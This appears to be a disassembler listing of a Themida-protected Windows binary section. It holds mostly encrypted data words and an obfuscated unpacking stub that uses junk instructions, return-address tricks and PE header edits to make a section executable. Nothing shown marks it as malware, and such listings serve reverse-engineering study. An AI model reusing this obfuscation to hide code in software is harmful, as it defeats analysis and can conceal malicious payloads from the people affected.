dd 0C75AF43Ah, 32569758h, 0E5DC8AB1h, 53A1FED7h, 0CA52FD3Ah dd 0DB5A023Ah, 3256AEB8h, 0FE6F43B7h, 0E6D30293h, 3609FE8Ah dd 37BD694Dh, 3251F9BEh, 0B759BAB1h, 32565DB0h, 22292D49h dd 3AD358B2h, 0CB56ABB1h, 6206B5F0h, 1937B3EEh, 32459C68h dd 0A2F1BAB1h, 0B56E33F9h, 95A99327h, 105BAA7Ah, 4AE32B91h dd 35BFB5BEh, 0F856EAB1h dd 47F0C03Fh, 0BB377754h, 0DB575CEDh, 3256AEA3h, 0B88D2BDEh dd 0E27639B7h, 24EBF803h, 1DD988F4h, 3D36D138h, 3256BC3Ch dd 32DC52B1h, 5256AEB1h, 3256DFBEh, 53A3ABB1h, 0CDA96DD0h dd 20BF154Eh, 765675B1h, 8704D02Ah, 0C202FBE3h, 94C87DE4h dd 0F1436C19h, 325312C5h, 20BFD5B1h, 0DE56EAB1h, 0DD3BE01Bh dd 0C0CBB6BCh, 0C5B7E371h, 5320FA5Dh, 52FDA4DCh, 3DA81CBEh dd 0DB371306h, 0CDA9173Eh, 32567358h, 0A93E6DB1h, 53429BBFh dd 325128BEh, 0B85957B1h, 3256ABB0h, 0CE135E44h, 32576FBEh dd 0FBAF75B1h, 0B459794Dh, 32565DBAh, 3256A858h, 41DF93B1h dd 620478D8h, 54AE5ED1h, 63371A3Ah, 325D9CD1h, 0F960BAB1h dd 860A62C3h, 0DCA0137Ch, 6137AFFDh, 26DBA4D1h, 0DA56D5B1h dd 3256EABFh, 0CE18ED08h, 1134EBCAh, 9E486A68h, 0DB0E24FBh dd 325657A2h, 0ED91F398h, 0F722996Ch, 5A92C02Bh, 38F4C3EFh dd 535B3A39h, 3256B548h, 0B30CAEB1h, 2A9CD35Bh, 3CBF52B7h dd 0CE56D5B1h, 0E7280FFDh, 36EE0633h, 0F93E9D0Ch, 3244B44Dh dd 0A485AEB1h, 0D8D920E0h, 2A2D8E9Ch, 549CEF8Fh, 7CB69C44h dd 4D3EEF3Ch, 23BFBCA9h, 0C3565DB1h, 3A227FC2h, 6A30A03Ah dd 8BBF9CEBh, 49A6CF09h, 32568E09h, 25D27AB1h, 0DB56BAB1h dd 32565DA3h, 74A9B8E6h, 3C4B64B5h, 5A8A4221h, 27224997h dd 83BECB77h, 525675B5h, 0D2457830h, 53A31978h, 6236A53Ah dd 0BD90D6D7h, 0F3ECF060h, 53145F6Ah, 3CBF2B8Ah, 0F45675B1h dd 2A01958Ch, 0EB70522Bh, 7523966Dh, 32CBBE55h, 31A3ABB1h dd 0B336D1FAh, 575DE957h, 30D37A84h, 0B856BAB1h, 0F36D3C42h dd 32922CBEh, 543657B1h, 0CB661A0Fh, 221DD6D0h, 31D1E5D1h dd 3D5675B1h, 0DB366B0Eh, 32565DBEh, 7287E9A9h, 9C69A364h dd 6B20D72Dh, 0B9E0EFA3h, 9378B7Eh, 16D47A70h, 0DB56BAB1h dd 32565DB4h, 10538036h, 3270BE99h, 22BFABB1h, 6C56D5B1h dd 0A9EABE6h, 39FDF4E0h, 3F13392Ah, 0DBD4104Bh, 3256AE3Fh dd 32565058h, 860670B1h, 97216260h, 32569758h, 3EDC7AB1h dd 5256BAB1h, 3256D7BEh, 8B30AEB1h, 0BF379706h, 2B6BB42Bh dd 0E1A92DB7h, 3256FB58h, 8390D0B1h, 7911E88Dh, 0DCB1703Dh dd 26F7EAC2h, 3EBF55C3h, 3556ABB1h, 47EE7FC0h, 0A5C83876h dd 0DBDBB217h, 3256BA87h, 325ED0BEh, 0B336AEB1h, 77D8E072h dd 0A8DBCAE2h, 344F95F4h, 36D5E5D1h, 545675B1h, 0DB835C0Fh dd 32565DBFh, 0B07A7904h, 2551EA15h, 0AF9E2729h, 0CD37B0A7h dd 0DB0D1F62h, 325675A1h, 0B6937CC0h, 2AD20E2Bh, 0AA25CCB0h dd 6AB81D49h, 325342E8h, 0C955D5B1h, 6AE7CDCDh, 67AAB64Dh dd 3256AA58h, 30EBDCB1h, 0E73682CCh, 82ECD1A5h, 0B506CF81h dd 0DBBA5E0Fh, 3256EABDh, 5C8E444Ch, 0E96156F9h, 8DC52156h dd 3256AE59h, 0D8D70DB1h, 344E6736h, 32513C48h, 0B1A6EAB1h dd 929F9EF9h, 0DB364202h, 32565DA2h, 40EA3E0Ah, 2F75F6Bh dd 630B263Eh, 1D0E54BDh, 0BF14C3C9h, 2A291D0Bh, 6807DAB7h dd 25BCDB0Bh, 77DDCFA1h, 0B35937B9h, 3256ABB7h, 0DDFE0530h dd 0D2D7A5D4h, 69AB7570h, 0CB5133D0h, 525A183Ah, 0DBA519BEh dd 325657B9h, 3942A386h, 65CD303h, 361163D0h, 325AF0BEh dd 35BFBAB1h, 34565DB1h, 8FC3D47Bh, 77DD98FFh, 3EDBA4A1h dd 3D56D5B1h, 3256EC35h, 32D87AB1h, 0BB56BAB1h, 0B85951F6h dd 3256AEB0h, 2613DC4Dh, 22112244h, 90EDB3D1h, 0FF045297h dd 53370D2Eh, 529FDBD1h, 3B85DCD7h, 131B14C0h, 0F0375337h dd 21BFABA1h, 956D5B1h, 7E05E872h, 1A576B23h, 0BC9DF80Bh dd 24B9CD55h, 0C73661F6h, 2797D277h, 5211ADA3h, 53AF62BEh dd 2525F0D9h, 87A98D19h, 34448BB0h, 3257D8BEh, 0BFAAAEB1h dd 27D42D34h, 0E2A952B7h, 3256C658h, 0F30A30B1h, 0B3E09A81h dd 1A8E2113h, 0A2C2C88Ah, 0D2D0048Eh, 2ED858E3h, 5256ABB1h dd 3256C759h, 0FDB05B1h, 9027FAD5h, 0A008D69Ah, 82300259h dd 683CA57Dh, 0BF3736D1h, 2AD6723Bh, 8559B5B7h, 0F0E9E561h dd 3D3624D0h, 3256B93Eh, 0F0E152B1h, 5AA72FD7h, 0E2A936B2h dd 0B659F149h, 3256D5B6h, 0B20CB9D1h, 0BF376761h, 2AD66333h dd 0B8593DB7h, 3256AEB3h, 0BCEF7702h, 53192F42h, 3E1662BEh dd 3256F858h, 5ADA4DB1h, 528E5947h, 9DAD7930h, 82098C03h dd 0B979AEDEh, 32474269h, 510CD5B1h, 61C6121Fh, 12307A6Bh dd 0EBE8D295h, 60D86335h, 0E4D7C8D1h, 883069BDh, 3D3723C7h dd 0BB59B580h, 3256EAB7h, 3256F9BEh, 0B930BAB1h, 0CA0C3C7Bh dd 325722BEh, 31AF57B1h, 3AD6A472h, 3D56D5B1h, 3256E838h dd 0BB3715B1h, 20428333h, 3ADB52B7h, 3D56AEB1h, 32565530h dd 5337CBB1h, 3256D858h, 0D0A360B1h, 425F55Fh, 2DC2F06Fh dd 0DB95412Bh, 3256AEA1h, 0E7CBD67Ah, 7525949Eh, 0F9057AB3h dd 0D90C0988h, 0B9666051h, 0F2806938h, 0F526142h, 158Ah dd 0F830F00h, 0E9000000h, 0Ah, 0D84B634Dh, 64DFD878h, 0E8EA21h dd 5A000000h, 0CEE1EA81h, 0FFC0618h, 0A8Bh, 0C2B86000h dd 801E6EA7h, 5261E0DAh, 39828BF5h, 0E9061214h, 6, 0CDD1F8Dh dd 6DB9744Dh, 0E941C64Eh, 0Dh, 9ED84147h, 40C24B1Dh, 0A30A5F1Ch dd 0FE1F7F7h, 781h, 5E506000h, 61D0B70Fh, 6E95Ah, 9DE40000h dd 222DA9DAh, 303905h, 0A870F00h, 60000000h, 8D0Fh, 61600000h dd 0FFFF2561h, 12E97FFFh, 6D000000h, 40349AC7h, 2558671Eh dd 43ED76B8h, 0ED13409Fh, 9E93Eh, 0BBF10000h, 1D23061Dh dd 8917653Eh, 12143982h, 78F0F06h, 0F000000h, 18Dh, 0FC5AFC00h dd 10E959h, 9B020000h, 150C0578h, 84161AAEh, 1819A7BDh dd 0FCC3D27Ch, 0AE96051h, 0A0000000h, 3BC1E96Fh, 6E317B9Ch dd 8E9A7h, 0BC660000h, 48201A48h, 5261FF1Eh, 0D78060F5h dd 0E861B4h, 5A000000h, 0CFD5EA81h, 0FF80618h, 1083h, 0BE900h dd 12AC0000h, 5054464Fh, 64032B17h, 5E9C5h, 193D0000h dd 8BB51C76h, 0B1E8F9C8h, 0E9FFFFFEh, 9, 1514D235h, 0B4B1CE66h dd 0F5D23340h, 8BF9F1F7h, 0E95AF8C2h, 14h, 0AB454959h dd 0EA0DB52Fh, 3BA2E123h, 8CC7EF67h, 0A6EE70E9h, 12810F59h dd 0E9000000h, 0Dh, 93D35825h, 6948C144h, 2FDD286Ah, 11E977h dd 0EB370000h, 0B6B8E5DEh, 0F8613B94h, 83BD884Dh, 0C3B40D07h dd 14800Fh, 0FE90000h, 4C000000h, 8949F55Bh, 59C912CEh dd 89590FF3h, 8C0F08BEh, 1, 0FC08BF9h, 1989h, 0FE96000h dd 2C000000h, 1B1F9B37h, 3A779671h, 0EF2378D9h, 0BF0F2D63h dd 0C08B61F9h, 0AE860h, 0F8360000h, 568B19C8h, 162BDC72h dd 66596160h, 0D506F281h, 0DF8B6061h, 13E8h, 0FAA4E00h dd 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0F9C137A2h, 8D615BF9h dd 1896F285h, 14E906h, 1FA60000h, 0BF00F3BCh, 0B177B368h dd 0CE62AA03h, 9174EF5h, 0D0FFEB62h, 0C18B66F9h, 0BF0F5060h dd 800F5FC0h, 2, 8D615B52h, 18CEB685h, 8589FC06h, 61215F9h dd 19C88160h, 602D9EA9h, 8B66D18Bh, 0F6161CAh, 187h, 858DFC00h dd 618CFAAh, 0F38B6060h, 14E8h, 0B26A7B00h, 0B8EF922Fh dd 32967240h, 3DDAC975h, 0B5F35F1Bh, 0F615BE9h, 0F8Bh dd 9E800h, 5C250000h, 0BDBF3B9Ah, 5F5A7C60h, 0E5858961h dd 0E9061226h, 0Eh, 0AC1D99B0h, 6FB4F653h, 7BE89E3Dh, 0B8FDFDh dd 0E9000000h, 7, 19DBC189h, 0BE2D934h, 9D840FC0h, 0F8000001h dd 11E960h, 12730000h, 2CF574BCh, 0ACE78B98h, 6FE55FBDh dd 0E85063E4h, 0Eh, 6FEC608h, 7C3611CEh, 3F71ED0h, 9E82C50h dd 6000000h, 624131A4h, 7D782333h, 0C6615B5Bh, 1215C185h dd 0FFC5606h, 18Ch, 0DF68FC00h, 0F5A9C530h, 3101B5FFh dd 860F0612h, 15h, 0BE960h, 5CC60000h, 88612B0Dh, 3B80E621h dd 8FD2808Dh, 0EE961h, 0AB640000h, 1D31A8ECh, 2DBE5474h dd 168B59B1h, 827A858Dh, 12E90615h, 0B4000000h, 95E3C92Ch dd 0D659F2ECh, 69689537h, 5D92254Ah, 0D0FFFC70h, 88B0Fh dd 0B3600000h, 0BBE66ABh, 0F506188h, 184h, 8D8DF500h, 612293Dh dd 1850Fh, 0FFC0000h, 158Eh, 0F840F00h, 0E9000000h, 0Ah dd 0C64727A2h, 46EB5FC3h, 60510678h, 46A61F5h, 8C0F5660h dd 0 ; --------------------------------------------------------------------------- pop edx mov cl, 99h popa jns loc_5E8D7B clc loc_5E8D7B: ; CODE XREF: Themida_:005E8D74j push 1000h jmp loc_5E8D94 ; --------------------------------------------------------------------------- db 8Eh, 0D5h, 12h dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh ; --------------------------------------------------------------------------- loc_5E8D94: ; CODE XREF: Themida_:005E8D80j pusha sub ecx, 1D4B80B5h push eax jmp loc_5E8DB2 ; --------------------------------------------------------------------------- db 0E5h, 1Eh, 0F2h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2Bh, 8Fh, 5Eh dd 0A6761313h, 9DCEDA30h ; --------------------------------------------------------------------------- or al, 8Dh loc_5E8DB2: ; CODE XREF: Themida_:005E8D9Cj pop ecx popa push dword ptr [ebp+6122461h] clc jmp loc_5E8DD2 ; --------------------------------------------------------------------------- dd 21B46085h, 0C3EDF65Ah, 0ACA12CCCh, 8310D1F7h db 28h, 3Ch ; --------------------------------------------------------------------------- loc_5E8DD2: ; CODE XREF: Themida_:005E8DBBj call eax pusha mov dh, bh popa mov edi, [ebp+6122461h] jz loc_5E8DED pusha mov edx, ecx mov edx, 5B9F8C7Eh popa loc_5E8DED: ; CODE XREF: Themida_:005E8DDEj add edi, [edi+3Ch] stc add edi, 0F8h jge loc_5E8E12 pusha or si, 0BAECh call sub_5E8E10 sahf mov dh, 0E2h mov cl, 80h fcom st(1) ; --------------------------------------------------------------------------- db 8Fh ; =============== S U B R O U T I N E ======================================= sub_5E8E10 proc near ; CODE XREF: Themida_:005E8E03p pop esi popa loc_5E8E12: ; CODE XREF: Themida_:005E8DF7j mov dword ptr [edi+24h], 60000020h pusha cld popa lea ebx, [ebp+6120849h] jmp loc_5E8E39 ; --------------------------------------------------------------------------- add edx, [esi] jnb short loc_5E8E37 mov edi, ebx and al, 0E5h inc esi retn 0BFADh ; --------------------------------------------------------------------------- aas retn ; --------------------------------------------------------------------------- pushfw loc_5E8E37: ; CODE XREF: sub_5E8E10+19j mov ah, 8Dh loc_5E8E39: ; CODE XREF: sub_5E8E10+12j mov eax, [ebx] jmp loc_5E8E49 ; --------------------------------------------------------------------------- dd 88C5858h, 0DFDAC3D3h db 0F6h ; --------------------------------------------------------------------------- loc_5E8E49: ; CODE XREF: sub_5E8E10+2Bj or eax, eax jz loc_5E8E88 cmc mov eax, [eax] jmp loc_5E8E6C ; --------------------------------------------------------------------------- adc eax, 242AFA98h push 5 xlat byte ptr es:[ebx] db 67h retf ; --------------------------------------------------------------------------- cmp eax, 0D137B2C2h rcr byte ptr [ebp+36h], 1 loc_5E8E6C: ; CODE XREF: sub_5E8E10+44j mov [ebx+4], eax jmp loc_5E8E88 ; --------------------------------------------------------------------------- dd 863A02E8h, 0D64CB7F0h, 1A0EA74Ch, 6E6BADF6h, 0BC7758F9h ; --------------------------------------------------------------------------- loc_5E8E88: ; CODE XREF: sub_5E8E10+3Bj ; sub_5E8E10+5Fj mov ecx, 234CF6h call sub_5E8EA5 inc esp repne add esi, 0A0DA9AD5h pop edx scasd pop ebx dec esi popf mov word ptr [edi-6], ds xchg ecx, eax push cs sub_5E8E10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5E8EA5 proc near ; CODE XREF: sub_5E8E10+7Dp jmp near ptr sub_5E8EB5 sub_5E8EA5 endp ; --------------------------------------------------------------------------- dw 8486h dd 0F397C1ADh, 63FDF98Dh db 7Bh ; =============== S U B R O U T I N E ======================================= sub_5E8EB5 proc far ; CODE XREF: sub_5E8EA5j pop edx mov cx, 2DE4h add edx, 71BEh push eax jmp loc_5E8EDA ; --------------------------------------------------------------------------- dw 9019h ; --------------------------------------------------------------------------- retf 8C4h ; --------------------------------------------------------------------------- db 0FBh dd 3BCBE583h, 9BAB312Eh, 8DB13963h ; --------------------------------------------------------------------------- fild word ptr [ebx] loc_5E8EDA: ; CODE XREF: sub_5E8EB5+Cj pop ebx mov eax, 1C43h pusha mov ebx, 75AC7E08h push eax pop esi popa loc_5E8EE9: ; CODE XREF: sub_5E8F22+1Fj push dword ptr [edx] jge loc_5E8EF5 mov cx, 1643h loc_5E8EF5: ; CODE XREF: sub_5E8EB5+36j pop esi jg $+6 xor esi, 3F0C9CF5h mov cx, di add esi, 54318870h call sub_5E8F22 sbb al, bl push ebx lahf nop adc [eax], cl ja short near ptr loc_5E8F80+5 or dl, dl retn sub_5E8EB5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 49h, 0F7h, 0C4h ; --------------------------------------------------------------------------- scas byte ptr es:[di] ; =============== S U B R O U T I N E ======================================= sub_5E8F22 proc near ; CODE XREF: sub_5E8EB5+56p pusha cmc mov al, 0DAh popa pop ebx xor esi, 1D5A139Ah mov edi, 0A7BDB97h push esi movzx ecx, di pop dword ptr [edx] stc sub edx, 4 mov di, ax dec eax jnz loc_5E8EE9 cmc lea ecx, [ebp+618D513h] mov edi, [ebp+612255Dh] mov [ebp+6122DCDh], ecx or [ebp+61211F5h], eax mov ebx, [ebp+61227C5h] mov dword ptr [ebp+61231BDh], 6D48h push 0 push ebx call sub_5E8F7B and [ebx-3Dh], bl sub_5E8F22 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5E8F7B proc near ; CODE XREF: sub_5E8F22+51p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx loc_5E8F80: ; CODE XREF: sub_5E8EB5+62j add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5E8F7B endp ; --------------------------------------------------------------------------- db 0EEh dd 0F12AA9D1h, 0F08166A1h, 85C7045Eh, 6120011h, 0 ; --------------------------------------------------------------------------- mov dx, si mov edx, [ebp+6121BB5h] push dword ptr [ebp+6120841h] push 0 push edx call sub_5E8FBA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E8FBA proc near ; CODE XREF: Themida_:005E8FB2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5E8FBA endp ; --------------------------------------------------------------------------- fld dword ptr [ecx] push ecx enter 4B28h, 0EFh sbb ecx, [ebx-1E42F63Dh] sub [edx], edx push es call dword ptr [ebp+6122781h] sub eax, [ebp+6123041h] push 0 call dword ptr [ebp+61229D1h] mov eax, eax jmp short loc_5E900C ; --------------------------------------------------------------------------- dw 2DD9h dd 839FFCD2h, 356D2B29h, 2CA65AF1h, 39B54323h, 7F84B43h dd 642B7AE8h ; --------------------------------------------------------------------------- loc_5E900C: ; CODE XREF: Themida_:005E8FF0j lea ecx, [ebp+618D617h] push 0 push eax call sub_5E901D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E901D proc near ; CODE XREF: Themida_:005E9015p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5E901D endp ; --------------------------------------------------------------------------- db 72h, 1Fh, 0A8h ; --------------------------------------------------------------------------- mov dl, [ebp+25h] xchg eax, ebx mov dh, 60h jmp loc_5E9049 ; --------------------------------------------------------------------------- db 7 dd 2BADB633h, 0A4B55441h, 4C12631Eh db 23h ; --------------------------------------------------------------------------- loc_5E9049: ; CODE XREF: Themida_:005E9036j mov si, 3B00h popa mov ax, si mov [ebp+6122DCDh], ecx push 0 push ebx call sub_5E9062 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E9062 proc near ; CODE XREF: Themida_:005E905Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5E9062 endp ; --------------------------------------------------------------------------- dw 903Ah dd 0BB1FBF65h, 85C77240h, 61231BDh, 5910h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 84C35141h, 519D3138h dd 0C7061215h, 12001185h, 6, 0C6B70F00h, 29A5B5FFh, 0BD8B0612h dd 6122141h, 278195FFh, 7E90612h, 0EB000000h, 0CD89967Bh dd 13E9C3C0h, 0DA000000h, 0EF30C15Ch, 9BA281B6h, 953B28D8h dd 0AA3F9094h, 6AE086h, 29D195FFh, 0C08B0612h, 0C7475CEBh dd 0F4541A94h, 0C4CFE29Ch, 0DB40177Fh, 0E84F748Eh, 2A75BDF2h dd 6E3A9AB5h, 0A3DFED5Ah, 0A666FD3Ah, 0FE3D8F60h, 0F1214DB3h dd 9028676Eh, 773B92E3h, 9BD8B4C9h, 0A647475Eh, 9E634A77h dd 0E8F1D336h, 0C32629B4h, 0C172EDFFh, 157E25EEh, 0B9188CC8h dd 23CCE8B9h, 0CF5C2823h, 2CE9B41Eh, 33000000h, 1322C0h dd 9 dup(0) dd 0E9000000h, 0B8Dh, 18D80A68h, 70E8E906h, 3168FFFAh dd 0E90618D9h, 0FFFA70DEh, 18DAEB68h, 70D4E906h, 1168FFFAh dd 0E90618DCh, 0FFFA70CAh, 18DE0F68h, 70C0E906h, 0C768FFFAh dd 0E90618DFh, 0FFFA70B6h, 18E0B468h, 70ACE906h, 0A421FFFAh dd 0D458FE44h, 1292387Eh, 49C86EB4h, 7EFFA5EBh, 49EDC22h dd 95DB35B6h, 0CE146CEFh, 0A50A628h, 4A90E664h, 0B0438713h dd 3A21F8E4h, 331995E9h, 666D59AFh, 6421F8E4h, 15B798FAh dd 0A0AE4197h, 3FA0C422h, 0E22676B0h, 58B03317h, 607EA406h dd 0B4F7349h, 21F265FDh, 9360A420h, 57DE0E7Bh, 0FC668BEDh dd 1472F2D8h, 671E190Bh, 0F557D4DAh, 75C91682h, 9527DE0Eh dd 0AFAA26D2h, 39885AF7h, 0EF000000h, 83E40C9Dh, 13EB8F75h dd 37BCA86Fh, 0B327E0FCh, 8FD3F749h, 21F2DD09h, 0C13D61CBh dd 0E9F767Dh, 0A80A74DEh, 9F3EC935h, 48DADE0Eh, 4D57D367h dd 0AB335AF7h, 9A000000h, 0AE419715h, 36C91FA0h, 0B94CAA28h dd 85CB2DABh, 0E036B881h, 1D7BF927h, 349413F9h, 8806ACD2h dd 94159B2Eh, 0A88E0A2Eh, 0A26ED026h, 0DE0DC560h, 0FC1A60CAh dd 0FD5BDBADh, 0BD4387ABh, 3FD8196Eh, 4ACBB1D5h, 86D82EB2h dd 0BF199A40h, 0B1926A66h, 180508F5h, 97Eh, 0E42A8E0Bh dd 1E64BA3Eh, 549AF878h, 93D92FAEh, 0CE146CEDh, 2BAC1290h dd 66E98FD5h, 0A022C80Eh, 0DC5A0046h, 71FD347Ah, 0F8EAA62Dh dd 0A2D32421h, 183C9415h, 17DC209Ch, 0D327E032h, 32767D69h dd 0A7427E0h, 5EDC82A8h, 7DFEE408h, 5CBE9023h, 997F1D36h dd 5599BD1Bh, 27E0328Eh, 9A80E24Ch, 2889AD0Fh, 948DAC31h dd 0EE22EAEFh, 0A92DAEB7h, 8ED2D638h, 21F23E08h, 0D82B6FEBh dd 22DE0E3Eh, 0C73156B8h, 26AA9034h, 96B3DD0h, 0E3EB23Dh dd 0FBBC4EDEh, 0F7EED34Fh, 0D1AF5Ah, 15160000h, 2F850597h dd 0BB3C4ADDh, 0DC5B4165h, 0B517E97Ch, 36C7D642h, 0D04E27E0h dd 0EF43076h, 0CD9F328Ch, 297FFD6Bh, 6C991096h, 7E45FF71h dd 4165B7EEh, 0D6BC7FDh, 75BB25DEh, 4C705257h, 19DC0708h dd 4AB314D8h, 4182861h, 5E49D366h, 0CEBE8D55h, 9466F94Fh dd 15BBE042h, 29AD3B91h, 775D81D3h, 18549AF6h, 2B1DB5B7h dd 4FD5DD8Fh, 0E83611DBh, 9D1FADFFh, 7CDEB043h, 0DA338D0Eh dd 0F5B03DC4h, 579A878Ah, 0E4000008h, 25CB1167h, 5F054BA1h dd 9D4389DFh, 0DA80C61Eh, 7BB9FF59h, 0B6129327h, 0F147CA70h dd 2D8305ABh, 65C341E7h, 185CE81Fh, 21F8EBCBh, 158DBE0Fh dd 50F63C94h, 0F22E74D2h, 78F6880Ch, 2B39CC1Eh, 0ECBE51A7h dd 7F57389Ah, 5BBD1B99h, 76626FEDh, 5BCD2CDDh, 2C9C72A1h dd 7ED08145h, 79F5992Ch, 0E0D0AE35h, 60C22C27h, 0CC1274F2h dd 6E12FBAEh, 3D830423h, 0D014388Ah, 21F245C6h, 79871A84h dd 0FD799DFBh, 0E062AB9h, 468DD1DEh, 84DE0E06h, 96BD51Ah dd 40C1A7E3h, 8284DFE8h, 0F08D655Ah, 44A2208Eh, 7E2BF20h dd 5E460078h, 98A12634h, 0FA5CCAF9h, 5CED1B87h, 0D5495948h dd 7F126EEFh, 4E314BADh, 0D858F270h, 8715E77Ah, 4618AB05h dd 8A08AEF4h, 0C6186EF0h, 1839C733h, 81A35548h, 0E442C0BEh dd 0E07AF89Eh, 0A0E4085Eh, 55481853h, 48DB2D97h, 0B7E7EEDCh dd 5E2123AAh, 0F90A4ECAh, 1554818h, 49C73597h, 8503A9EFh dd 9F0A9023h, 397DF91Dh, 554818AAh, 6064C630h, 5A35821Ch dd 0B0F66053h, 81A51792h, 67C05B3Dh, 0D1543A4Dh, 0B416E87Bh dd 2692258Fh, 4163DFD8h, 54D6BC38h, 339567FAh, 26A25619h dd 4EE620Ah, 419h, 0B0CCAD6Bh, 3E9FC3F9h, 1C67F4F3h, 33379969h dd 0F20C21EFh, 0FE39A321h, 14C149AAh, 3530289Fh, 7CB807D3h dd 30795F00h, 0D422668Ah, 16592DC9h, 8F7519ACh, 4D1FB20Eh dd 1EA405EBh, 0FC1D7EFAh, 0BEF5B25Dh, 0FF521E80h, 0BF53386Dh dd 0CD4B3155h, 688E5599h, 0E24C4B58h, 26A44A90h, 8C6F77D0h dd 0AAAD6AD0h, 69DBDh, 4BAD2A00h, 85DB5F05h, 0BB19993Fh dd 0F850CF75h, 358B0CB2h, 0CDF1B1EFh, 8AEF44Ch, 43E92F85h dd 7B2167C1h, 1E559BFDh, 0E8854E92h, 0F44521F8h, 0B60C9DC3h dd 1B404E92h, 980221F2h, 0F87B6105h, 3E90E664h, 977D9ABh dd 23092D8Bh, 0E1B346A2h, 0C5890C7Fh, 0A7095FDFh, 4D5CAA8Dh dd 5BD75377h, 0DE4CC17h, 0EB41C5DEh, 0EDA3CA6h, 0D81FCD00h dd 4E3458C2h, 0FE174CAh, 63E187ADh, 8180E105h, 162BDD1Ch dd 0BB559EE2h, 2B95D43Bh, 0F60477D9h, 14FA1E78h, 0D5A73A90h dd 1230073h, 0EA2EAA3Eh, 0D43BBB19h, 0BB35BE02h, 4BB5D43Bh dd 0CC3A9C06h, 0E43ABC4Eh, 0E72D7F51h, 0F147C5ABh, 2385E363h dd 0A7183FFh, 2E75F61h, 7FC60000h, 27BA1A99h, 9C0DF355h dd 25860226h, 0FD7EB5BDh, 353E10A3h, 72D469BBh, 0F857D8A6h dd 7BBF3B21h, 0DE07EF68h, 81A60872h, 8C0DF317h, 0C748EE34h dd 0E9674D71h, 4EBA2D8Fh, 21F8107Eh, 0D14D79F7h, 7EF468Dh dd 2E1A84DEh, 0DE07EFA5h, 1069BB25h, 0FF8F0BEAh, 774C393Ch dd 4000005h, 45EB3187h, 7F256BC1h, 0BD63A9FFh, 0FAA0E63Eh dd 9BD91F79h, 0D632B307h, 1167EA90h, 4DA325CBh, 85E36107h dd 387C083Fh, 21F8EEABh, 9DADDE2Fh, 1715FF0Ch, 0D30A464Bh dd 0A0986BAFh, 0F86227E0h, 0C20682A6h, 27E0A331h, 0E9ED4FB9h dd 26ADF16Dh, 0A427E0A3h, 0D42AAC3Ah, 410D6F41h, 21F87537h dd 0DC6EF0D6h, 51B3055Bh, 212FC22Ch, 0EADB8EA3h, 454EA82Ah dd 5059B0DCh, 0CFF8C466h, 0AEF446A3h, 992C8A08h, 18AB0D8Bh dd 6FB32F3Bh, 0DE070364h, 94D8FC66h, 0DE07034Fh, 0A5BF218Bh dd 96DA56C2h, 0DE07034Dh, 0DA6DC344h, 0F759C308h, 67AD0B89h dd 0FEC98F0Bh, 0D66DCE5Ah, 85ECA823h, 0C6A00769h, 0E4000001h dd 24DF2468h, 0F83CDE07h, 0DE0724EBh, 0D64085EFh, 97159374h dd 22A0AE41h, 5C427EC4h, 3D2385DBh, 0EE32566Ch, 21F21DE0h dd 79E578E2h, 0DE0DE36Eh, 8337F88Ah, 5AF82607h, 34E3h dd 0C9D4A00h, 0C84E92B6h, 8A21F213h, 0D6218D20h, 32DE0DECh dd 0CF4BDFA0h, 0DEC788Bh, 0B61882DEh, 0F81D1692h, 0EF71575Ah dd 0A6340699h, 168CA24h, 102h, 21E7F68h, 10EC583Dh, 1B990769h dd 0A862ABDh, 0E0B93DC6h, 9817BD27h, 1E8CEE40h, 0A2B0439Dh dd 229EC224h, 0E0B915DEh, 0B3098C27h, 9F094E20h, 3EBCCA3Dh dd 7663C4E8h, 0D7602C33h, 61658BEDh, 27E00C58h, 89DF5D43h dd 0B3BB927h, 0A05CC2AAh, 0B19D4D88h, 27E06222h, 0C8EC3EA8h dd 7E36B867h, 155953FEh, 27E08FCEh, 0C250A20Ch, 5F85E741h dd 2E526841h, 28B51B2h, 5CF49A65h, 50E8587h, 7ADC0753h dd 0F41257AEh, 0D4523821h, 0D2975CA0h, 0E953DE0Bh, 0A6103597h dd 0C51B9C82h, 0E97C40A1h, 6844AFF2h, 0B8ADF24h, 5FB11BDEh dd 64F74DD1h, 640A3092h, 0A9B6D6E3h, 0E3F95A6Ch, 0B443891h dd 0FBFEFF83h, 3790Eh, 2F890600h, 69BF43E9h, 0A7FD7D23h dd 0DC3CBB61h, 196FF096h, 0B10D95D3h, 0EC92D830h, 27CD1369h dd 5F054BA5h, 0A4187E1h, 0ECA93A7Eh, 0E03121F8h, 3C9415AFh dd 74D250F6h, 9715152Eh, 22A0AE41h, 49607EC4h, 0C7A8B937h dd 24E69746h, 808E2173h, 4416A9FFh, 7CA0F2h, 0AE41971Ah dd 70AE7ADCh, 0F221F298h, 7C89F588h, 66DE0E68h, 94156344h dd 0A88E0A2Eh, 0A16DCF25h, 0D81C4507h, 9E65A9E5h, 5CD43C1Fh dd 8AE064F2h, 8DD325F7h, 41971574h, 0D22A0AEh, 0E327502Ch dd 27E00110h, 0FE6770DAh, 78727BC7h, 0D6F05619h, 0A7C50B5Dh dd 589CC002h, 21F2548Eh, 0E34FE24Ch, 0DE0E2814h, 0E99D62F4h dd 5AF7DC6Dh, 0F92D4BACh, 2ED119B3h, 4165CCh, 9DCC0000h dd 9DFB7A0Ch, 0BE41274Bh, 0BC000466h, 21F2137Ah, 0FD5BB819h dd 57B4C203h, 0D0AFD0F5h, 51E4A631h, 9AFB1F71h, 0C421B47Dh dd 7CEF514Ch, 0D82C710h, 0A88F21DEh, 0F84AA01Ch, 0F77E5Ah 